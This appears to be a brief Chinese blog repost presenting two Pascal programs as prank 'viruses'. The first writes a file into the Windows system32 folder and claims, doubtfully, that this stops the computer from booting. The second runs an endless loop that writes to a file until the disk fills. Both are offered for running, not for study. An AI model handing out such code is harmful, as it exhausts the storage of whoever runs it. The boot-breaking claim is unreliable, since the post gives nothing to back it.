Pascal “記憶體病毒”（騙人的）

標籤：os   div   re   c   ar   window   

Pascal記憶體病毒

Chaobs從互連網上獲得

  

   pascal病毒雖然說只用Ctrl+Pause Break就可以關閉，但是像有些程式一旦啟動，不用等你找到那兩個鍵，就自己運行結束關閉了。比如下面一個程式：

var
a:text;
begin
assign(a,‘C:\WINDOWS\system32\system64.dat‘);
rewrite(a);
close(a);
end.

這個程式能在0.1秒之內運行結束，但效果非常明顯——電腦打不開了……還比如：

var
s:string;
i:integer;
begin
i:=1;
s:=‘    ‘;
assign(output,‘windows.txt‘);
rewrite(output);
while i=1 do
writeln(s);
close(output);
end.

效果是：200MB/s（可能隨電腦的速度而改變）當然那句“s:=‘    ‘;”如果變長可能速度會更快。